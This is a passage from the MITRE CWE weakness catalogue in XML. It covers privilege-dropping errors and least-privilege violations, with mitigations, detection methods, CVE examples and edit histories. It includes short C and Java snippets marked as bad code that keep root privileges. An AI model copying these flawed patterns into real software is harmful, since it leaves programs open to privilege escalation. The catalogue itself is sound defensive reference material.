               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="271" Name="Privilege Dropping / Lowering Errors" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not drop privileges before passing control of a resource to an actor that does not have those privileges.</Description>
         <Extended_Description>In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="269" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Non-Repudiation</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Hide Activities</Impact>
               <Note>If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-49">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-98">
               <Intro_Text>The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>chroot(APP_HOME);<xhtml:br/>chdir("/");<xhtml:br/>FILE* data = fopen(argv[1], "r+");<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-1213</Reference>
               <Description>Program does not drop privileges after acquiring the raw socket.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0559</Reference>
               <Description>Setuid program does not drop privileges after a parsing error occurs, then calls another program to handle the error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0559</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0787</Reference>
               <Description>Does not drop privileges in related groups when lowering privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0787</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0080</Reference>
               <Description>Does not drop privileges in related groups when lowering privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0080</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1029</Reference>
               <Description>Does not drop privileges before determining access to certain files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1029</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0813</Reference>
               <Description>Finger daemon does not drop privileges when executing programs on behalf of the user being fingered.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0813</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1326</Reference>
               <Description>FTP server does not drop privileges if a connection is aborted during file transfer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1326</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0172</Reference>
               <Description>Program only uses seteuid to drop privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0172</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2504</Reference>
               <Description>Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2504</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0213</Reference>
               <Description>Utility Manager launches winhlp32.exe while running with raised privileges, which allows local users to gain system privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0806</Reference>
               <Description>Setuid program does not drop privileges before executing program specified in an environment variable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0806</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0828</Reference>
               <Description>Setuid program does not drop privileges before processing file specified on command line.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0828</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2070</Reference>
               <Description>Service on Windows does not drop privileges before using "view file" option, allowing code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2070</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Privilege Dropping / Lowering Errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 16: Executing Code With Too Much Privilege.&#34; Page 243"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Dropping Privileges Permanently&#34;, Page 479"/>
         </References>
         <Notes>
            <Note Type="Maintenance">CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="272" Name="Least Privilege Violation" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="271" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
               <Note>An attacker may be able to access resources with the elevated privilege that could not be accessed with the attacker's original privileges. This is particularly likely in conjunction with another flaw, such as a buffer overflow.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Compare binary / bytecode to application permission manifest</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Permission Manifest Analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Attack Modeling</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-48">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>Follow the principle of least privilege when assigning access rights to entities in a software system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>setuid(0);<xhtml:br/>
                     <xhtml:i>// Do some important stuff</xhtml:i>
                     <xhtml:br/>setuid(old_uid);<xhtml:br/>
                     <xhtml:i>// Do some non privileged stuff.</xhtml:i>
                     <xhtml:br/>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-142">
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>AccessController.doPrivileged(new PrivilegedAction() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public Object run() {<xhtml:div style="margin-left:1em;">
                                 <xhtml:i>// privileged code goes here, for example:</xhtml:i>
                                 <xhtml:br/>System.loadLibrary("awt");<xhtml:br/>return null;<xhtml:br/>
                                 <xhtml:i>// nothing to return</xhtml:i>
                                 <xhtml:br/>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-98">
               <Intro_Text>The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>chroot(APP_HOME);<xhtml:br/>chdir("/");<xhtml:br/>FILE* data = fopen(argv[1], "r+");<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Least Privilege Violation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to drop privileges when reasonable</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS02-C</Entry_ID>
               <Entry_Name>Follow the principle of least privilege</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC00-J</Entry_ID>
               <Entry_Name>Do not allow privileged blocks to leak sensitive information across a trust boundary</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC01-J</Entry_ID>
               <Entry_Name>Do not allow tainted variables in privileged blocks</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP36</Entry_ID>
               <Entry_Name>Privilege</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="17"/>
            <Related_Attack_Pattern CAPEC_ID="35"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Maintenance">CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.</Note>
            <Note Type="Other">
               <xhtml:p>If system privileges are not dropped when it is reasonable to do so, this is not a vulnerability by itself. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically.</xhtml:p>
               <xhtml:p>When a program calls a privileged function, such as chroot(), it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Common_Consequences, Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="273" Name="Improper Check for Dropped Privileges" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.</Description>
         <Extended_Description>If the drop fails, the product will continue to run with the raised privileges, which might provide additional access to unprivileged users.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="754" View_ID="1000" Ordinal="Primary"/>
